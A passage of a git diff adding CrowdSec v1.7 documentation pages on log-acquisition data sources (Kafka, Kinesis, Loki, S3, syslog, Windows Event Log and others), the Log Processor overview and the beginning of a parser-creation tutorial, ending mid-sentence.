journalctl://filters=_SYSTEMD_UNIT=ssh.service&filters=_UID=42 +``` + +You can specify the `log_level` parameter to change the log level for the acquisition : + +```bash +crowdsec -type syslog -dsn journalctl://filters=MY_FILTER&filters=MY_OTHER_FILTER&log_level=debug +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kafka.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kafka.md new file mode 100644 index 000000000..23d9f4859 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kafka.md @@ -0,0 +1,165 @@ +--- +id: kafka +title: Kafka +--- + +This module allows the `Security Engine` to acquire logs from a kafka topic. + +## Configuration example + +To monitor a kafka topic: +```yaml +source: kafka +topic: my-topic +brokers: + - "localhost:9092" +timeout: 5 +labels: + type: mytype +``` + +To monitor a kafka topic using SSL: + +```yaml +source: kafka +brokers: + - "localhost:9093" +topic: "my-topic" +timeout: 5 +tls: + insecure_skip_verify: true + client_cert: /path/kafkaClient.certificate.pem + client_key: /path/kafkaClient.key + ca_cert: /path/ca.crt +labels: + type: nginx +``` + +Adding a batch configuration: + +```yaml +source: kafka +brokers: + - "localhost:9093" +topic: "my-topic" +timeout: 5 +tls: + insecure_skip_verify: true + client_cert: /path/kafkaClient.certificate.pem + client_key: /path/kafkaClient.key + ca_cert: /path/ca.crt +labels: + type: nginx +batch: + min_bytes: 1024 # 1KB + max_bytes: 1048576 # 1MB + max_wait: 5s + queue_size: 1000 + commit_interval: 1s +``` + + +:::info +The reader will always start from the latest offset. +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `brokers` + +The name of the kafka brockers to connect to. + +Required. + +### `topic` + +The topic name you want to read logs from. + +Required. + +### `group_id` + +The consumer group id to use. + +Cannot be used with `partition`. + +:::warning +It is highly recommended to set this value, or crowdsec will only read logs from the 1st partition of the topic. +::: + +### `partition` + +Read messages from the given partition. Mostly useful for debugging. + +Cannot be used with `group_id`. + +### `timeout` + +Maximum time to wait for new messages before returning an empty read. + +Default: 5 + +### `tls.insecure_skip_verify` + +To disable security checks on the certificate. + +Defaults to `false` + +### `tls.client_cert` + +The client certificate path. + +Optional, when you want to enable TLS with client certificate. + +### `tls.client_key` + +The client key path. + +Optional, when you want to enable TLS with client certificate. + +### `tls.ca_cert` + +The CA certificate path. + +Optional, when you want to enable TLS with client certificate. + +### `batch.min_bytes` + +Minimum number of bytes to accumulate in the fetch buffer before returning results. + +Default: 1 + +### `batch.max_bytes` + +Maximum number of bytes to fetch in one go. + +Default: 1048576 (1MB) + +### `batch.max_wait` + +Maximum time to wait before returning a fetch, even if `batch.min_bytes` isn’t reached. + +Default: 250ms + +### `batch.queue_size` + +Maximum number of messages to buffer internally before processing. + +Default: 100 + +### `batch.commit_interval` + +Time interval between automatic commits of consumer offsets. + +Default: 0 (commit after every fetch) + +### `source` + +Must be `kafka` + +## DSN and command-line + +This datasource does not support acquisition from the command line. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kinesis.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kinesis.md new file mode 100644 index 000000000..e57ba00ff --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kinesis.md @@ -0,0 +1,99 @@ +--- +id: kinesis +title: AWS Kinesis Stream +--- + +This module allows the `Security Engine` to acquire logs from a Kinesis stream. + +## Configuration example + +To monitor a stream: +```yaml +source: kinesis +stream_name: my-stream +labels: + type: mytype +``` + +To monitor a stream using the [enhanced fan-out](https://docs.aws.amazon.com/streams/latest/dev/enhanced-consumers.html) API: + +```yaml +source: kinesis +stream_arn: "arn:aws:kinesis:region:000000000000:stream/my-stream" +use_enhanced_fanout: true +consumer_name: crowdsec-agent +labels: + type: mytype +``` + +:::info +If your stream is written to by a [Cloudwatch subscription filter](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/SubscriptionFilters.html), you will need to pass the `from_subscription` parameter, or the Security Engine won't be able to parse the content of the message. +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `stream_name` + +The name of the kinesis stream you want to read logs from. + +Required when `use_enhanced_fanout` is `false`. + +### `stream_arn` + +The ARN of the kinesis stream you want to read logs from. + +Required when `use_enhanced_fanout` is `true` + +### `use_enhanced_fanout` + +Whether to use enhanced fan-out (dedicated throughput for a consumer) or not. + +This option will incur additional AWS costs. + +Defaults to `false` + +### `consumer_name` + +Name of the consumer. + +Required when `enhanced_fan_out` is true. + +### `from_subscription` + +Whether the logs are coming from a Cloudwatch subscription filter or not. + +When Cloudwatch writes logs to a kinesis stream, they are base64-encoded and gzipped, and the actual log message is part of a JSON object. + +Defaults to `false`. + +### `aws_profile` + +The AWS profile to use, relies on your `~/.aws/config/`. + +Optional, the data source will automatically the standard AWS env vars if present. + +### `aws_config_dir` + +The path to your `~/.aws/`, defaults to `/root/.aws`. + +Optional, the data source will automatically the standard AWS env vars if present. + + +### `aws_region` + +The AWS region. + +Optional, the data source will automatically the standard AWS env vars if present. + + +### `source` + +Must be `kinesis` + +## DSN and command-line + +This datasource does not support acquisition from the command line. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kubernetes_audit.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kubernetes_audit.md new file mode 100644 index 000000000..db2459d5a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/kubernetes_audit.md @@ -0,0 +1,48 @@ +--- +id: kubernetes_audit +title: Kubernetes Audit +--- + +This module allows the `Security Engine` to expose an HTTP server that can be used by a Kubernetes cluster to send its [audit logs](https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/). + +## Configuration example + +```yaml +source: k8s-audit +listen_addr: 127.0.0.1 +listen_port: 9876 +webhook_path: /webhook +labels: + type: k8s-audit +``` + +Look at the `configuration parameters` to view all supported options. + +## Parameters + +### `listen_addr` + +The address on which the datasource will listen. + +Mandatory. + +### `listen_port` + +The port on which the datasource will liste. + +Mandatory. + +### `webhook_path` + +The path on which the datasource will accept requests from kubernetes. + +Mandatory. + +### `source` + +Must be `k8s-audit` + +## DSN and command-line + +This datasource does not support acquisition from the command line. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/loki.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/loki.md new file mode 100644 index 000000000..275c491bc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/loki.md @@ -0,0 +1,127 @@ +--- +id: loki +title: Loki +--- + +This module allows the `Security Engine` to acquire logs from loki query. + +## Configuration example + +This will allow to read logs from loki, using the query `{job="varlogs"}`. +```yaml +source: loki +log_level: info +url: http://localhost:3100/ +limit: 1000 +query: | + {job="varlogs"} +auth: + username: something + password: secret +labels: + type: apache2 +``` + +:::info +The reader will always start at "now". +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `url` + +The loki URL to connect to. + +Required. + +### `prefix` + +The loki prefix (present in http path, useful if loki is behind a reverse-proxy). + +Defaults to `/`. + +### `query` + +The [loki query](https://grafana.com/docs/loki/latest/query/log_queries/). + +Required. + +### `limit` + +The maximum number of messages to be retried from loki at once. + +Defaults to `100` in stream mode and `5000` in one-shot mode. + +### `headers` + +Allows you to specify headers to be sent to loki, in the format: + +```yaml +headers: + foo: bar +``` + +### `wait_for_ready` + +The retry interval at startup before giving on loki. + +Defaults to `10 seconds`. + +### `no_ready_check` + +> note : When using Loki hosted in Grafana Cloud, the `/ready` endpoint does not exist, preventing CrowdSec from starting. + +To bypass the readiness check. + +Defaults to `false`. + +### `auth` + +Login/password authentication for loki, in the format: + +```yaml +auth: + username: someone + password: something +``` + +### `max_failure_duration` + +The maximum duration loki is allowed to be unavailable (once startup is successful) before giving up on the data source. + +Default to `30 seconds`. + + +## DSN and command-line + +All the parameters above are available via DSN (one-shot mode), plus the following ones: + +### `ssl` + +if present, scheme will be set to `https` + +```bash +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&ssl=true' +``` + +### `since` + +Allows to set the "since" duration for loki query. + +Expects a valid [Go duration](https://pkg.go.dev/time#ParseDuration) + +```bash +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&since=1d' +``` + +### `log_level` + +Set the `log_level` for loki datasource. + +```bash +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&log_level=debug' +``` + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/s3.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/s3.md new file mode 100644 index 000000000..8b0772ae7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/s3.md @@ -0,0 +1,173 @@ +--- +id: s3 +title: AWS S3 +--- + +This module allows the `Security Engine` to acquire logs from a S3 bucket. + +It supports reading plain text file and gzip file (detection is performed based on the file extension). + +## Configuration example + +To monitor a S3 bucket detecting new objects from a SQS queue: +```yaml +source: s3 +polling_method: sqs +sqs_name: test-sqs-s3-acquis +use_time_machine: true +labels: + type: foo +``` + +To monitor a S3 bucket detecting new objects by listing the bucket content: +```yaml +source: s3 +polling_method: list +bucket_name: my_bucket +polling_interval: 30 +use_time_machine: true +labels: + type: foo +``` + +:::warning +It is **strongly recommended** to set `use_time_machine: true` when using the S3 data source. Since files from S3 are not read in real time, the parser must rely on the timestamps within the log lines themselves to process events accurately. +::: + +:::warning +The `list` polling method is mostly intended for testing purposes, and its usage is not recommended in production. +It won't work well with moderately big buckets (tens of thousands of files), as the listing operation is slow. +::: + +:::warning +When using the `sqs` polling method, make sure the Security Engine is the only reader of the queue. +If other processes read from the queue, then the Security Engine will miss some events. +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `polling_method` + +How to detect new files in a bucket. Must be one of `sqs` or `list`. +`sqs` is the recommended mode. + +### `polling_interval` + +How often in seconds the Security Engine will check for new objects in a bucket when using the `list` polling method. +Defaults to 60. + +### `sqs_name` + +Name of the SQS queue to poll. +Required when `polling_method` is `sqs`. + +### `sqs_format` + +Format of the body inside the SQS messages. +Can be `eventbridge`, `s3notification` or `sns`. + +If not set, the Security Engine will automatically select the format based on the first valid event received from the queue. + +### `bucket_name` + +Name of the bucket to poll. +Required when `polling_method` is `list`. + + +### `prefix` + +Only read objects matching this prefix when `polling_method` is `list`. +Optional, ignored when `polling_method` is `sqs`. + +### `aws_profile` + +The AWS profile to use, relies on your `~/.aws/config/`. + +Optional, the data source will automatically use the standard AWS env vars if present. + +### `aws_region` + +The AWS region. + +Optional, the data source will automatically use the standard AWS env vars if present. + +## `aws_endpoint` + +Endpoint for AWS API. +Optional, the data source will automatically use the standard AWS env vars if present. + +Can be used to point the Security Engine to a S3-compatible object storage. + +### `source` + +Must be `s3` + +## DSN and command-line + +This module supports acquisition directly from the command line, to read files in one shot. + +A single s3 URI is accepted with the `-dsn` parameter, but you don't have to specify a specific object. + +If no object is specified (either just a bucket, or a bucket and a prefix), the Security Engine will read all files matching the prefix. + +If you don't specify an object, the path *must* end with `/`. + +```bash +crowdsec -type syslog -dsn s3://my_bucket/ +``` + +```bash +crowdsec -type syslog -dsn s3://my_bucket/my_prefix/ +``` + +```bash +crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log +``` + +You can specify the `log_level` parameter to change the log level for the acquisition: + +```bash +crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log?log_level=debug +``` + +AWS SDK behaviour can be configured with the standard AWS environment variables. + + +## IAM Permissions + +Because the component needs to interact with AWS resources, it need the proper permissions. + +Here is the set of required permissions: +```json +{ + "Statement": [ + { + "Action": [ + "sqs:ReceiveMessage", + "sqs:DeleteMessage", + "sqs:GetQueueAttributes", + "sqs:GetQueueUrl", + "sqs:ListDeadLetterSourceQueues", + "sqs:ListQueues" + ], + "Effect": "Allow", + "Resource": "arn:aws:sqs:::test-sqs-s3-acquis" + }, + { + "Effect": "Allow", + "Action": [ + "s3:DescribeJob", + "s3:Get*", + "s3:List*" + ], + "Resource": "arn:aws:s3:::my_bucket:*" + } + ], + "Version": "2012-10-17" +} +``` + +For the permissions, we recommend to restrict the S3 permissions to read only operations, to avoid the ability to destroy logs from the CrowdSec agent. If you are using S3 polling, the SQS part of the permissions can be omitted. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/syslog_service.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/syslog_service.md new file mode 100644 index 000000000..c595bb98b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/syslog_service.md @@ -0,0 +1,56 @@ +--- +id: syslog +title: Syslog Server +--- + + +This module allows the `Security Engine` to expose a syslog server, and ingest logs directly from another syslog server (or any software that knows how to forward logs with syslog). + +Only UDP is supported. + +Syslog messages must conform either to [RFC3164](https://datatracker.ietf.org/doc/html/rfc3164) or [RFC5424](https://datatracker.ietf.org/doc/html/rfc5424), and can be up to 2048 bytes long by default (this value is configurable). + + +## Configuration example + +A basic configuration is as follows: + +```yaml +source: syslog +listen_addr: 127.0.0.1 +listen_port: 4242 +labels: + type: syslog +``` + +## Parameters + +### `listen_addr` + +Address on which the syslog will listen. Defaults to 127.0.0.1. + +### `listen_port` + +UDP port used by the syslog server. Defaults to 514. + +### `max_message_len` + +Maximum length of a syslog message (including priority and facility). Defaults to 2048. + +### `source` + +Must be `syslog`. + + + + +## DSN and command-line + +This module does not support command-line acquisition. + + +:::warning +This syslog datasource is currently intended for small setups, and is at risk of losing messages over a few hundreds events/second. +To process significant amounts of logs, rely on dedicated syslog server such as [rsyslog](https://www.rsyslog.com/), with this server writing logs to files that Security Engine will read from. +This page will be updated with further improvements of this data source. +::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/troubleshoot.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/troubleshoot.md new file mode 100644 index 000000000..c5f9121d3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/troubleshoot.md @@ -0,0 +1,36 @@ +--- +id: troubleshoot +title: Monitoring +sidebar_position: 10 +--- + +The [prometheus](/observability/prometheus.md) instrumentation exposes metrics about acquisition and data sources. +Those can as well be viewed via `cscli metrics` : + +```bash +INFO[19-08-2021 06:33:31 PM] Acquisition Metrics: ++-----------------------------------------------+------------+--------------+----------------+------------------------+ +| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET | ++-----------------------------------------------+------------+--------------+----------------+------------------------+ +| file:/var/log/auth.log | 1231 | 580 | 651 | 896 | +| file:/var/log/kern.log | 6035 | - | 6035 | - | +| file:/var/log/messages | 6035 | - | 6035 | - | +| file:/var/log/nginx/error.log | 5 | - | 5 | - | +| file:/var/log/nginx/xxxxx.ro-http.access.log | 10 | 5 | 5 | 11 | +| file:/var/log/nginx/xxxxx.ro-https.access.log | 29 | 29 | - | 30 | +| file:/var/log/syslog | 6062 | - | 6062 | - | ++-----------------------------------------------+------------+--------------+----------------+------------------------+ + +``` + +The columns are : + + +| Name | Explanation | +|------|-------------| +| SOURCE | Datasource in the format medium://details. (ie. `file:///path/to/log`) | +| LINES READ | Number of lines read from the given source since agent startup | +| LINES PARSED | Number of lines *successfully* parsed by every parser the line was submitted to | +| LINES UNPARSED | Number of lines *unsuccessfully* parsed by at least one parser the line was submitted to | +| LINES POURED TO BUCKET | How many individual events were poured to bucket from this source. One line can be submitted to more than one scenario, and thus can be higher than `LINES READ` or `LINES PARSED` | + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/victorialogs.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/victorialogs.md new file mode 100644 index 000000000..01ac280b1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/victorialogs.md @@ -0,0 +1,118 @@ +--- +id: victorialogs +title: VictoriaLogs +--- + +This module allows the `Security Engine` to acquire logs from VictoriaLogs query. + +## Configuration example + +This will allow to read logs from VictoriaLogs, using the query `app:nginx`. +```yaml +source: victorialogs +mode: tail +log_level: info +url: http://localhost:9428/ +limit: 1000 +query: | + app:nginx +auth: + username: something + password: secret +labels: + type: nginx +``` + +:::info +The reader will always start at "now" for `tail` mode. +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + +### `mode` + +Mode to fetch the logs, supported values: `tail` and `cat`. + +Defaults to `tail`. + +### `url` + +The VictoriaLogs URL to connect to. + +Required. + +### `prefix` + +The VictoriaLogs prefix (present in http path, useful if VictoriaLogs is behind a reverse-proxy). + +Defaults to `/`. + +### `query` + +The [VictoriaLogs query](https://docs.victoriametrics.com/victorialogs/logsql/). + +Required. + +Note that `tail` requests have limitations for operators used query. See [this doc](https://docs.victoriametrics.com/victorialogs/querying/#live-tailing) for the details. + +### `limit` + +The maximum number of messages to be retried from VictoriaLogs at once. + +### `headers` + +Allows you to specify headers to be sent to VictoriaLogs, in the format: + +```yaml +headers: + foo: bar + AccountID: 0 + ProjectID: 0 +``` + +See this doc for more information: [VictoriaLogs headers](https://docs.victoriametrics.com/victorialogs/querying/#http-api) + +### `wait_for_ready` + +The retry interval at startup before giving on VictoriaLogs. + +Defaults to `10 seconds`. + +### `auth` + +Login/password authentication for VictoriaLogs, in the format: + +```yaml +auth: + username: someone + password: something +``` + +### `max_failure_duration` + +The maximum duration VictoriaLogs is allowed to be unavailable (once startup is successful) before giving up on the data source. + +Default to `30 seconds`. + + +## DSN and command-line + +All the parameters above are available via DNS (one-shot mode), plus the following ones: + +### `ssl` + +if present, scheme will be set to `https` + +### `since` + +Allows to set the "start" duration for VictoriaLogs query. + +### `log_level` + +Set the `log_level` for VictoriaLogs datasource. + +```bash +crowdsec -type foobar -dsn 'victorialogs://login:password@localhost:9428/?query=server:"demoVictoriaLogsVictoriaLogs"' +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/windows_event_log.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/windows_event_log.md new file mode 100644 index 000000000..34d98c9d1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/windows_event_log.md @@ -0,0 +1,115 @@ +--- +id: windows_evt_log +title: Windows Event Log +--- + +This module allows the `Security Engine` to acquire logs from the Windows Event Log. + + +## Configuration example + +To monitor all events with the ID 4625, from the `Security` channel (ie, authentication failed): + +```yaml +source: wineventlog +log_level: info +event_channel: Security +event_ids: + - 4625 +event_level: information +labels: + type: eventlog +``` + +You can also write a custom XPath query: + +```yaml +source: wineventlog +xpath_query: | + +labels: + type: eventlog +``` + +## Parameters + +### `event_channel` + +The name of the channel to read events from. + +Must be set if `xpath_query` is not set. + +### `event_level` + +The log level of the events to read. + +Must be one of `VERBOSE`, `INFORMATION`, `WARNING`, `ERROR` or `CRITICAL`. + +Only used if `event_channel` is specified. + +### `event_ids` + +List of event IDs you want to match. + +Only used if `event_channel` is specified. + +### `xpath_query` + +A custom XPath query to read events. + +Must be set if `event_channel` is not set. + +You can refer to the Windows documentation for more informations: https://docs.microsoft.com/en-us/windows/win32/wes/consuming-events + +### `pretty_name` + +Pretty name to use for the datasource in the metrics (`cscli metrics`). + +This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read. + +## DSN and command-line + +This module supports acquisition directly from the command line, to replay content from event files. + +A single wineventlog URI is accepted with the `-dsn` parameter: + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx +``` + +### Supported parameters + +#### `log_level` + +Change the log level for the acquisition: + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?log_level=debug +``` + +#### `event_id` + +Only process events with this ID. + +This parameter can be specified multiple times to filter on multiple IDs. + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?event_id=1&event_id=2 +``` + +#### `event_level` + +Only process events with this level. + +Must be a number between 0 and 5. + +The mapping between the number and the textual representation of the level is: + + Text | Number +------|----------- + INFORMATION | 0 + CRITICAL | 1 + ERROR | 2 + WARNING | 3 + INFORMATION | 4 + VERBOSE | 5 \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/intro.mdx new file mode 100644 index 000000000..d0b982470 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/intro.mdx @@ -0,0 +1,94 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +The Log Processor is a core component of the Security Engine. It: + +- Reads logs from [Data Sources](log_processor/data_sources/introduction.md) via Acquistions. +- Parses logs and extract relevant information using [Parsers](log_processor/parsers/introduction.mdx). +- Enriches the parsed information with additional context such as GEOIP, ASN using [Enrichers](log_processor/parsers/enricher.md). +- Monitors patterns of interest via [Scenarios](log_processor/scenarios/introduction.mdx). +- Pushes alerts to the Local API (LAPI), where alert/decisions are stored. +- Read logs from datasources +- Parse the logs +- Enrich the parsed information +- Monitor the logs for patterns of interest + + + +## Log Processor + +The Log Processor reads logs from Data Sources, parses and enriches them, and monitors them for patterns of interest. + +Once a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. + +All subcategories below are related to the Log Processor and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the Log Processor. + +## Data Sources + +Data Sources are individual modules that can be loaded at runtime by the Log Processor to read logs from various sources. To use a Data Source, you will need to create an acquisition configuration file. + +### Acquistions + +Acquisitions are the configuration files that define how the Log Processor should read logs from a Data Source. Acquisitions are defined in YAML format and are loaded by the Log Processor at runtime. + +We support two ways to define Acquisitions in the [configuration directory](/u/troubleshooting/security_engine#where-is-configuration-stored): + +- `acquis.yaml` file: the legacy, single-file configuration (still supported) +- `acquis.d` directory: a directory of multiple acquisition files (since v1.5.0, recommended for any non-trivial setup) + +```yaml title="Example Acquisition Configuration" +## /etc/crowdsec/acquis.d/file.yaml +source: file ## The Data Source module to use +filenames: + - /tmp/foo/*.log + - /var/log/syslog +labels: + type: syslog +``` + +For more information on Data Sources and Acquisitions, see the [Data Sources](log_processor/data_sources/introduction.md) documentation. + +## Collections + +Collections are used to group together Parsers, Scenarios, and Enrichers that are related to a specific application. For example the `crowdsecurity/nginx` collection contains all the Parsers, Scenarios, and Enrichers that are needed to parse logs from an NGINX web server and detect patterns of interest. + +You can see all available collections on the [Hub](https://app.crowdsec.net/hub/collections). + +### Parsers + +The parsing pipeline is broken down into multiple stages: + +- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. +- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx). +- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc. + +You can see more information on Parsers in the [documentation](log_processor/parsers/introduction.mdx). + +### Scenarios + +Scenarios are the patterns of interest that the Log Processor is monitoring for. When a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. + +The patterns can be as simple as tracking the number of failed login attempts or as complex as tracking logging in from multiple countries within a short period of time which can be a indicator of a compromised account or VPN usage. + +The community provides a number of scenarios on the [Hub](https://hub.crowdsec.net/) that you can install and use. If you would like to create your own, see the [Scenarios](log_processor/scenarios/introduction.mdx) documentation. + +### whitelists + +Whitelists are used to exclude certain events from being processed by the Log Processor. For example, you may want to exclude certain IP addresses from being processed by the Log Processor. + +You can see more information on Whitelists in the [documentation](log_processor/whitelist/introduction.md). + +### Alert Context + +Alert Context is additional context that can sent with an alert to the LAPI. This context can be shown locally via `cscli` or within the [CrowdSec Console](https://app.crowdsec.net/signup) if you opt in to share context when you enroll your instance. + +You can read more about Alert Context in the [documentation](log_processor/alert_context/intro.md). + +### Service Discovery & Setup + +On installation, CrowdSec can automatically detect existing services, download the relevant Hub collections, and generate acquisitions based on discovered log files. + +You can [customize or override these steps](log_processor/service-discovery-setup/intro.md), for example when provisioning multiple systems or using configuration management tools. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/create.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/create.md new file mode 100644 index 000000000..453cce2d6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/parsers/create.md @@ -0,0 +1,302 @@ +--- +id: create +title: Creating parsers +sidebar_position: 4 +--- + +import AcademyPromo from '@site/src/components/academy-promo'; + +## Foreword + +This documentation assumes you're trying to create a parser for crowdsec with the intent of submitting to the hub, and thus create the associated functional testing. +The creation of said functional testing will guide our process and will make it easier. + +We're going to create a parser for the imaginary service "myservice" that produce three types of logs via syslog : + +``` +Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' +Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' +``` + +As we are going to parse those logs to further detect bruteforce and user-enumeration attacks, we're simply going to "discard" the last type of logs. + +There's a [yaml schema +available](https://github.com/crowdsecurity/crowdsec-yaml-schemas/blob/main/parser_schema.yaml) +for the parser and linked at +[SchemaStore](https://github.com/SchemaStore/schemastore/blob/master/src/api/json/catalog.json) +for general public availability inside most common editors. You will +be able see if the parser comply to the schema directly in your +editor, and you will have some kind of syntax highlighting and +suggestions. The only requirement for this is to write your parser +using the directory structure of the hub to make the editor detects +that the file has to comply to the yaml schema. This means that you +will have to write the parser in one subdirectory of the +`parsers/s00-raw`, `parsers/s01-parse`, `parsers/s02-enrich`, +`postoverflows/s00-enrich`, `postoverflows/s01-whitelist`. This +subdirectory is named after your name, or your organization name. As +an example `parsers/s01-parse/crowdsecurity/sshd-logs.yaml` matches +this directory structure. Note that extension of the parser has to +`.yaml`. + +There're also mouseover description available + +![Possible integration](/img/parser_creation/mouseover.png) + +Error detection when the file is not schema compliant + +![Possible integration](/img/parser_creation/typo.png) + +The error message can be useful when one wants to understand why the parser file isn't schema compliant + +![Possible integration](/img/parser_creation/error_message.png) + +## Pre-requisites + +1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) + +2. Clone the hub + +```bash +git clone https://github.com/crowdsecurity/hub.git +``` + +## Create our test + +From the root of the hub repository : + +```bash +▶ cscli hubtest create myservice-logs --type syslog + + Test name : myservice-logs + Test path : /home/dev/github/hub/.tests/myservice-logs + Log file : /home/dev/github/hub/.tests/myservice-logs/myservice-logs.log (please fill it with logs) + Parser assertion file : /home/dev/github/hub/.tests/myservice-logs/parser.assert (please fill it with assertion) + Scenario assertion file : /home/dev/github/hub/.tests/myservice-logs/scenario.assert (please fill it with assertion) + Configuration File : /home/dev/github/hub/.tests/myservice-logs/config.yaml (please fill it with parsers, scenarios...) +``` + +## Configure our test + +Let's add our parser to the test configuration (`.tests/myservice-logs/config.yaml`). He specify that we need syslog-logs parser (because myservice logs are shipped via syslog), and then our custom parser. + +```yaml +parsers: + - crowdsecurity/syslog-logs + - ./parsers/s01-parse/crowdsecurity/myservice-logs.yaml +scenarios: +postoverflows: +log_file: myservice-logs.log +log_type: syslog +ignore_parsers: false +``` + +**note: as our custom parser isn't yet part of the hub, we specify its path relative to the root of the hub directory** + +## Parser creation : skeleton + +For the sake of the tutorial, let's create a very simple parser : + +```yaml +filter: 1 == 1 +debug: true +onsuccess: next_stage +name: crowdsecurity/myservice-logs +description: "Parse myservice logs" +grok: + #our grok pattern : capture .* + pattern: ^%{DATA:some_data}$ + #the field to which we apply the grok pattern : the log message itself + apply_on: message +statics: + - parsed: is_my_service + value: yes +``` + +- a [filter](/log_processor/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't +- a [onsuccess](/log_processor/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc. +- a `name` & a `description` +- some [statics](/log_processor/parsers/format.md#statics) that will modify the event +- a `debug` flag that allows to enable local debugging information +- a `grok` pattern to capture some data in logs + +We can then "test" our parser like this : + +```bash +▶ cscli hubtest run myservice-logs +INFO[01-10-2021 12:41:21 PM] Running test 'myservice-logs' +WARN[01-10-2021 12:41:24 PM] Assert file '/home/dev/github/hub/.tests/myservice-logs/parser.assert' is empty, generating assertion: + +len(results) == 2 +len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 +results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true +... +len(results["s01-parse"]["crowdsecurity/myservice-logs"]) == 3 +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Success == true +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["program"] == "myservice" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["timestamp"] == "Dec 8 06:28:43" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["is_my_service"] == "yes" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["logsource"] == "syslog" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["message"] == "bad password for user 'toto' from '192.168.1.1'" +results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["some_data"] == "bad password for user 'toto' from '192.168.1.1'" +... + + +Please fill your assert file(s) for test 'myservice-logs', exiting + +``` + +What happened here ? + +- Our logs have been processed by syslog-logs parser and our custom parser +- As we have no existing assertion(s), `cscli hubtest` kindly generated some for us + +This mostly allows us to ensure that our logs have been processed by our parser, even if it's 